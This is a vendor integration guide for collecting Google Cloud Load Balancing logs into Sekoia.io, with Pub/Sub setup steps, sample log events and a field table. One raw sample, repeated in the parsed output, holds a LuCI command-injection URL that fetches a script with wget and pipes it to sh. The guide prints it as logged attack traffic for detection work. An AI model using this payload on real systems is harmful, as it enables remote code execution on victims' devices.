Skip to content

Google Cloud Load Balancing

Overview

Google Cloud Load Balancing is a fully distributed, software-defined managed service that distributes traffic across multiple backend instances in multiple regions, enhancing performance, reliability, and scalability.

Warning

Important note - This format is currently in beta. We highly value your feedback to improve its performance.

  • Vendor: Google Cloud
  • Supported environment: SaaS
  • Detection based on: Telemetry
  • Supported application or feature: Web logs, Web application firewall logs, Googe Cloud Armor

Specification

Prerequisites

  • Google licence Enterprise standard or higher
  • Access to Sekoia.io Intakes and Playbook pages with write permissions
  • Administrator access to the Google Cloud console

Logs details

  • Supported functionalities: See section Overview
  • Supported type(s) of structure: JSON
  • Supported verbosity level: Informational

How to set up Google PubSub

Overview

Google Cloud Logging centralizes logs from Google Cloud products.

In this documentation, you will learn how to collect and send Google Cloud logs to SEKOIA.IO.

Configure

Before you begin working with PubSub, verify that you have the right permission.

Follow Google's documentation to configure a dedicated PubSub receiver. At the end of the documentation you should have done the following:

  • Setup a project
  • Create a topic
  • Add a subscription (you should have the role logging.admin explicitly set on your account; for more information, see associated documentation)
  • Try your setup by publishing a message to the topic

Next, create a dedicated service account. At the end of the documentation you should have done the following:

  • Create a service account with the role Pub/Sub Subscriber

Note

To successfully activate the playbook further down this page, ensure the user has been granted the Pub/Sub Subscriber role for both the Topic and Subscription pages. Failure to do so will result in an error with status code 403.

  • Create and download JSON keys (service account credentials)

You should now have:

  • A credentials file
  • A project ID
  • A subscription ID

To pull events, you have to:

  1. Go to the playbooks' page
  2. Click on +New playbook to create a new playbook
  3. Select Use a template when creating a playbook
  4. Search for Google Cloud then select Forward Google Pubsub records to Sekoia.io

This playbook consumes records from Google Pubsub and pushes them to Sekoia.io.

You can also create your own on the same basis by using the "Google Pub/Sub" trigger (Connect to the specified)

  • Use the JSON keys (service account credentials) information downloaded to complete the fields on the trigger

Fields description

Field Meaning
name Configuration name
auth_provider_x509_cert_url The URL of the public x509 certificate, used to verify the signature on JWTs, such as ID tokens, signed by the authentication provider. https://wwww.googleapis.com/oauth2/v1/certs
auth_url Google authentification url https://accounts.google.com/o/oauth2/auth
client_email Client email
client_id Client id
client_x509_cert_url The URL of the public x509 certificate, used to verify JWTs signed by the client
private_key Private key
private_key_id Private key id
project_id Project id
token_uri token server endpoint URI https://oauth2.googleapis.com/token
type Activity type service_account

To start sending Logs to SEKOIA.IO, please create a Logs Router Sinks with an Inclusion Filter that fits your needs (Read the documentation dedicated to the product you want to monitor).

Last configuration on Google to setup is describe on each Intake.

How to configure log forwarding

  1. On the Google cloud console, go to Monitoring

  2. On the left panel, Click Log router

    Click Log router

  3. On the top, Click Create sink

    Create sink

  4. Type name for the sink and click Next

Type name

  1. Select Cloud Pub/Sub topic as Sink service and select the Pub/Sub topic as destination. Click Next

    Select destination

  2. As Build inclusion filter, type: 

    (resource.type="http_load_balancer" OR resource.type="http_external_regional_lb_rule")
    and click Next

  3. Click Create sink

Raw Events Samples

In this section, you will find examples of raw logs as generated natively by the source. These examples are provided to help integrators understand the data format before ingestion into Sekoia.io. It is crucial for setting up the correct parsing stages and ensuring that all relevant information is captured.

{
    "httpRequest": {
        "latency": "0.001115s",
        "protocol": "HTTP/1.1",
        "remoteIp": "1.2.3.4:49194",
        "requestMethod": "GET",
        "requestSize": "201",
        "requestUrl": "http://5.6.7.8:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F1.1.1.1%3A88%2Ft%7Csh%3B%60)",
        "responseSize": "155",
        "status": 503,
        "userAgent": "Go-http-client/1.1"
    },
    "insertId": "1t7m3mbf14kc7c",
    "jsonPayload": {
        "@type": "type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry",
        "backendTargetProjectNumber": "projects/111111111111",
        "enforcedSecurityPolicy": {
            "configuredAction": "THROTTLE",
            "name": "policy-name",
            "outcome": "ACCEPT",
            "priority": 2147483646,
            "rateLimitAction": {
                "key": "1.2.3.4",
                "outcome": "RATE_LIMIT_THRESHOLD_CONFORM"
            }
        },
        "proxyStatus": "error=\"destination_unavailable\"; details=\"failed_to_pick_backend\""
    },
    "logName": "projects/integration-gcloadbalancing/logs/loadbalancing.googleapis.com%2Fexternal_regional_requests",
    "receiveTimestamp": "2024-08-26T15:30:31.15568806Z",
    "resource": {
        "labels": {
            "backend_name": "",
            "backend_scope": "UNKNOWN",
            "backend_scope_type": "UNKNOWN",
            "backend_target_name": "backend-name",
            "backend_target_type": "BACKEND_SERVICE",
            "backend_type": "UNKNOWN",
            "forwarding_rule_name": "forwarding_rule-name",
            "matched_url_path_rule": "UNMATCHED",
            "network_name": "default",
            "project_id": "integration-gcloadbalancing",
            "region": "europe-west9",
            "target_proxy_name": "proxy-name",
            "url_map_name": "url_map-name"
        },
        "type": "http_external_regional_lb_rule"
    },
    "severity": "WARNING",
    "timestamp": "2024-08-26T15:30:27.62577Z"
}

{
    "httpRequest": {
        "latency": "0.006023s",
        "remoteIp": "1.2.3.4",
        "requestMethod": "GET",
        "requestSize": "1012",
        "requestUrl": "https://example.org/api-services/api/ping",
        "responseSize": "307",
        "serverIp": "5.6.7.8",
        "status": 200,
        "userAgent": "Apache-HttpClient/5.2.1 (Java/21.0.1)"
    },
    "insertId": "1t7m3mbf14kc7c",
    "jsonPayload": {
        "@type": "type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry",
        "backendTargetProjectNumber": "projects/12345678",
        "cacheDecision": [
            "RESPONSE_HAS_CONTENT_TYPE",
            "REQUEST_HAS_AUTHORIZATION",
            "CACHE_MODE_USE_ORIGIN_HEADERS"
        ],
        "enforcedSecurityPolicy": {
            "configuredAction": "ALLOW",
            "name": "cloud-armor-rule-policy-name-01",
            "outcome": "ACCEPT",
            "priority": 2147483647
        },
        "remoteIp": "1.2.3.4",
        "securityPolicyRequestData": {
            "remoteIpInfo": {
                "regionCode": "BE"
            },
            "tlsJa3Fingerprint": "c691c8ec005d3a6a8aafc394edf6c1a3"
        },
        "statusDetails": "response_sent_by_backend"
    },
    "logName": "projects/google-project/logs/requests",
    "receiveTimestamp": "2024-02-20T15:03:01.755764847Z",
    "resource": {
        "labels": {
            "backend_service_name": "google-project-backend-03",
            "forwarding_rule_name": "google-project-ip-pub-03",
            "project_id": "google-project",
            "target_proxy_name": "google-project-lb-03-target-proxy",
            "url_map_name": "google-project-lb-03",
            "zone": "global"
        },
        "type": "http_load_balancer"
    },
    "severity": "INFO",
    "spanId": "74f69181f79f8236",
    "timestamp": "2024-02-20T15:03:00.867759Z",
    "trace": "projects/google-project/traces/ff592ffa0c72bac07e758a3851fd44f5"
}

{
    "insertId": "tyvh8vfi0k1di",
    "jsonPayload": {
        "remoteIp": "1.2.3.4",
        "backendTargetProjectNumber": "projects/123456789",
        "@type": "type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry",
        "statusDetails": "denied_by_security_policy",
        "cacheDecision": [
            "RESPONSE_HAS_CONTENT_TYPE",
            "REQUEST_HAS_IF_NONE_MATCH",
            "CACHE_MODE_USE_ORIGIN_HEADERS"
        ],
        "enforcedSecurityPolicy": {
            "priority": 1000,
            "outcome": "DENY",
            "configuredAction": "DENY",
            "name": "block-all-http-requests"
        }
    },
    "httpRequest": {
        "requestMethod": "GET",
        "requestUrl": "http://malicious.site/url",
        "requestSize": "488",
        "status": 403,
        "responseSize": "258",
        "userAgent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
        "remoteIp": "1.2.3.4",
        "latency": "0.102957s"
    },
    "resource": {
        "type": "http_load_balancer",
        "labels": {
            "target_proxy_name": "http-lb-proxy",
            "project_id": "project_id",
            "zone": "global",
            "url_map_name": "http-load-balancer",
            "forwarding_rule_name": "http-content-rule",
            "backend_service_name": "backend-service"
        }
    },
    "timestamp": "2023-12-25T07:17:32.061039Z",
    "severity": "WARNING",
    "logName": "projects/project_id/logs/requests",
    "trace": "projects/project_id/traces/15dc480f7c7879c404b6b33843099866",
    "receiveTimestamp": "2023-12-25T07:17:33.457621996Z",
    "spanId": "25c549956d7c28e2"
}

Detection section

The following section provides information for those who wish to learn more about the detection capabilities enabled by collecting this intake. It includes details about the built-in rule catalog, event categories, and ECS fields extracted from raw events. This is essential for users aiming to create custom detection rules, perform hunting activities, or pivot in the events page.

Event Categories

The following table lists the data source offered by this integration.

Data Source Description
Web logs None

In details, the following table denotes the type of events produced by this integration.

Name Values
Kind ``
Category web
Type access

Transformed Events Samples after Ingestion

This section demonstrates how the raw logs will be transformed by our parsers. It shows the extracted fields that will be available for use in the built-in detection rules and hunting activities in the events page. Understanding these transformations is essential for analysts to create effective detection mechanisms with custom detection rules and to leverage the full potential of the collected data.

{
    "message": "{\"httpRequest\": {\"latency\": \"0.001115s\", \"protocol\": \"HTTP/1.1\", \"remoteIp\": \"1.2.3.4:49194\", \"requestMethod\": \"GET\", \"requestSize\": \"201\", \"requestUrl\": \"http://5.6.7.8:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F1.1.1.1%3A88%2Ft%7Csh%3B%60)\", \"responseSize\": \"155\", \"status\": 503, \"userAgent\": \"Go-http-client/1.1\"}, \"insertId\": \"1t7m3mbf14kc7c\", \"jsonPayload\": {\"@type\": \"type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry\", \"backendTargetProjectNumber\": \"projects/111111111111\", \"enforcedSecurityPolicy\": {\"configuredAction\": \"THROTTLE\", \"name\": \"policy-name\", \"outcome\": \"ACCEPT\", \"priority\": 2147483646, \"rateLimitAction\": {\"key\": \"1.2.3.4\", \"outcome\": \"RATE_LIMIT_THRESHOLD_CONFORM\"}}, \"proxyStatus\": \"error=\\\"destination_unavailable\\\"; details=\\\"failed_to_pick_backend\\\"\"}, \"logName\": \"projects/integration-gcloadbalancing/logs/loadbalancing.googleapis.com%2Fexternal_regional_requests\", \"receiveTimestamp\": \"2024-08-26T15:30:31.15568806Z\", \"resource\": {\"labels\": {\"backend_name\": \"\", \"backend_scope\": \"UNKNOWN\", \"backend_scope_type\": \"UNKNOWN\", \"backend_target_name\": \"backend-name\", \"backend_target_type\": \"BACKEND_SERVICE\", \"backend_type\": \"UNKNOWN\", \"forwarding_rule_name\": \"forwarding_rule-name\", \"matched_url_path_rule\": \"UNMATCHED\", \"network_name\": \"default\", \"project_id\": \"integration-gcloadbalancing\", \"region\": \"europe-west9\", \"target_proxy_name\": \"proxy-name\", \"url_map_name\": \"url_map-name\"}, \"type\": \"http_external_regional_lb_rule\"}, \"severity\": \"WARNING\", \"timestamp\": \"2024-08-26T15:30:27.62577Z\"}",
    "event": {
        "action": "THROTTLE",
        "category": [
            "web"
        ],
        "outcome": "ACCEPT",
        "type": [
            "access"
        ]
    },
    "@timestamp": "2024-08-26T15:30:27.625770Z",
    "cloud": {
        "project": {
            "id": "integration-gcloadbalancing"
        },
        "provider": "Google Cloud",
        "service": {
            "name": "Load Balancing"
        }
    },
    "google_cloud_load_balancing": {
        "insertId": "1t7m3mbf14kc7c",
        "logName": "projects/integration-gcloadbalancing/logs/loadbalancing.googleapis.com%2Fexternal_regional_requests",
        "priority": "2147483646",
        "receiveTimestamp": "2024-08-26T15:30:31.15568806Z",
        "severity": "WARNING"
    },
    "http": {
        "request": {
            "method": "GET"
        },
        "response": {
            "status_code": 503
        }
    },
    "related": {
        "ip": [
            "1.2.3.4"
        ]
    },
    "rule": {
        "name": "policy-name"
    },
    "source": {
        "address": "1.2.3.4",
        "ip": "1.2.3.4",
        "port": 49194
    },
    "url": {
        "domain": "5.6.7.8",
        "original": "http://5.6.7.8:80/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F1.1.1.1%3A88%2Ft%7Csh%3B%60)",
        "path": "/cgi-bin/luci/;stok=/locale",
        "port": 80,
        "query": "form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F1.1.1.1%3A88%2Ft%7Csh%3B%60)",
        "scheme": "http"
    }
}

{
    "message": "{\"httpRequest\": {\"latency\": \"0.006023s\", \"remoteIp\": \"1.2.3.4\", \"requestMethod\": \"GET\", \"requestSize\": \"1012\", \"requestUrl\": \"https://example.org/api-services/api/ping\", \"responseSize\": \"307\", \"serverIp\": \"5.6.7.8\", \"status\": 200, \"userAgent\": \"Apache-HttpClient/5.2.1 (Java/21.0.1)\"}, \"insertId\": \"1t7m3mbf14kc7c\", \"jsonPayload\": {\"@type\": \"type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry\", \"backendTargetProjectNumber\": \"projects/12345678\", \"cacheDecision\": [\"RESPONSE_HAS_CONTENT_TYPE\", \"REQUEST_HAS_AUTHORIZATION\", \"CACHE_MODE_USE_ORIGIN_HEADERS\"], \"enforcedSecurityPolicy\": {\"configuredAction\": \"ALLOW\", \"name\": \"cloud-armor-rule-policy-name-01\", \"outcome\": \"ACCEPT\", \"priority\": 2147483647}, \"remoteIp\": \"1.2.3.4\", \"securityPolicyRequestData\": {\"remoteIpInfo\": {\"regionCode\": \"BE\"}, \"tlsJa3Fingerprint\": \"c691c8ec005d3a6a8aafc394edf6c1a3\"}, \"statusDetails\": \"response_sent_by_backend\"}, \"logName\": \"projects/google-project/logs/requests\", \"receiveTimestamp\": \"2024-02-20T15:03:01.755764847Z\", \"resource\": {\"labels\": {\"backend_service_name\": \"google-project-backend-03\", \"forwarding_rule_name\": \"google-project-ip-pub-03\", \"project_id\": \"google-project\", \"target_proxy_name\": \"google-project-lb-03-target-proxy\", \"url_map_name\": \"google-project-lb-03\", \"zone\": \"global\"}, \"type\": \"http_load_balancer\"}, \"severity\": \"INFO\", \"spanId\": \"74f69181f79f8236\", \"timestamp\": \"2024-02-20T15:03:00.867759Z\", \"trace\": \"projects/google-project/traces/ff592ffa0c72bac07e758a3851fd44f5\"}",
    "event": {
        "action": "ALLOW",
        "category": [
            "web"
        ],
        "outcome": "ACCEPT",
        "type": [
            "access"
        ]
    },
    "@timestamp": "2024-02-20T15:03:00.867759Z",
    "cloud": {
        "project": {
            "id": "google-project"
        },
        "provider": "Google Cloud",
        "region": "global",
        "service": {
            "name": "Load Balancing"
        }
    },
    "destination": {
        "address": "5.6.7.8",
        "ip": "5.6.7.8"
    },
    "google_cloud_load_balancing": {
        "insertId": "1t7m3mbf14kc7c",
        "logName": "projects/google-project/logs/requests",
        "priority": "2147483647",
        "receiveTimestamp": "2024-02-20T15:03:01.755764847Z",
        "severity": "INFO"
    },
    "http": {
        "request": {
            "method": "GET"
        },
        "response": {
            "status_code": 200
        }
    },
    "related": {
        "ip": [
            "1.2.3.4",
            "5.6.7.8"
        ]
    },
    "rule": {
        "name": "cloud-armor-rule-policy-name-01"
    },
    "source": {
        "address": "1.2.3.4",
        "ip": "1.2.3.4"
    },
    "url": {
        "domain": "example.org",
        "original": "https://example.org/api-services/api/ping",
        "path": "/api-services/api/ping",
        "port": 443,
        "registered_domain": "example.org",
        "scheme": "https",
        "top_level_domain": "org"
    }
}

{
    "message": "{\"insertId\": \"tyvh8vfi0k1di\", \"jsonPayload\": {\"remoteIp\": \"1.2.3.4\", \"backendTargetProjectNumber\": \"projects/123456789\", \"@type\": \"type.googleapis.com/google.cloud.loadbalancing.type.LoadBalancerLogEntry\", \"statusDetails\": \"denied_by_security_policy\", \"cacheDecision\": [\"RESPONSE_HAS_CONTENT_TYPE\", \"REQUEST_HAS_IF_NONE_MATCH\", \"CACHE_MODE_USE_ORIGIN_HEADERS\"], \"enforcedSecurityPolicy\": {\"priority\": 1000, \"outcome\": \"DENY\", \"configuredAction\": \"DENY\", \"name\": \"block-all-http-requests\"}}, \"httpRequest\": {\"requestMethod\": \"GET\", \"requestUrl\": \"http://malicious.site/url\", \"requestSize\": \"488\", \"status\": 403, \"responseSize\": \"258\", \"userAgent\": \"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36\", \"remoteIp\": \"1.2.3.4\", \"latency\": \"0.102957s\"}, \"resource\": {\"type\": \"http_load_balancer\", \"labels\": {\"target_proxy_name\": \"http-lb-proxy\", \"project_id\": \"project_id\", \"zone\": \"global\", \"url_map_name\": \"http-load-balancer\", \"forwarding_rule_name\": \"http-content-rule\", \"backend_service_name\": \"backend-service\"}}, \"timestamp\": \"2023-12-25T07:17:32.061039Z\", \"severity\": \"WARNING\", \"logName\": \"projects/project_id/logs/requests\", \"trace\": \"projects/project_id/traces/15dc480f7c7879c404b6b33843099866\", \"receiveTimestamp\": \"2023-12-25T07:17:33.457621996Z\", \"spanId\": \"25c549956d7c28e2\"}",
    "event": {
        "action": "DENY",
        "category": [
            "web"
        ],
        "outcome": "DENY",
        "type": [
            "access"
        ]
    },
    "@timestamp": "2023-12-25T07:17:32.061039Z",
    "cloud": {
        "project": {
            "id": "project_id"
        },
        "provider": "Google Cloud",
        "region": "global",
        "service": {
            "name": "Load Balancing"
        }
    },
    "google_cloud_load_balancing": {
        "insertId": "tyvh8vfi0k1di",
        "logName": "projects/project_id/logs/requests",
        "priority": "1000",
        "receiveTimestamp": "2023-12-25T07:17:33.457621996Z",
        "severity": "WARNING"
    },
    "http": {
        "request": {
            "method": "GET"
        },
        "response": {
            "status_code": 403
        }
    },
    "related": {
        "ip": [
            "1.2.3.4"
        ]
    },
    "rule": {
        "name": "block-all-http-requests"
    },
    "source": {
        "address": "1.2.3.4",
        "ip": "1.2.3.4"
    },
    "url": {
        "domain": "malicious.site",
        "original": "http://malicious.site/url",
        "path": "/url",
        "port": 80,
        "registered_domain": "malicious.site",
        "scheme": "http",
        "top_level_domain": "site"
    }
}

Extracted Fields

The following table lists the fields that are extracted, normalized under the ECS format, analyzed and indexed by the parser. It should be noted that infered fields are not listed.

Name Type Description
@timestamp date Date/time when the event originated.
cloud.project.id keyword The cloud project id.
cloud.provider keyword Name of the cloud provider.
cloud.region keyword Region in which this host, resource, or service is located.
cloud.service.name keyword The cloud service name.
destination.ip ip IP address of the destination.
event.action keyword The action captured by the event.
event.category keyword Event category. The second categorization field in the hierarchy.
event.outcome keyword The outcome of the event. The lowest level categorization field in the hierarchy.
event.type keyword Event type. The third categorization field in the hierarchy.
google_cloud_load_balancing.insertId keyword A unique identifier for the log entry.
google_cloud_load_balancing.logName keyword The resource name of the log to which this log entry belongs to.
google_cloud_load_balancing.priority keyword
google_cloud_load_balancing.receiveTimestamp keyword The time the log entry was received by Logging.
google_cloud_load_balancing.severity keyword The severity of the log entry.
google_cloud_load_balancing.statusDetails keyword
http.request.method keyword HTTP request method.
http.request.referrer keyword Referrer for this HTTP request.
http.response.status_code long HTTP response status code.
rule.name keyword Rule name
source.geo.region_iso_code keyword Region ISO code.
source.ip ip IP address of the source.
source.port long Port of the source.
url.original wildcard Unmodified original url as seen in the event source.
user_agent.original keyword Unparsed user_agent string.

For more information on the Intake Format, please find the code of the Parser, Smart Descriptions, and Supported Events here.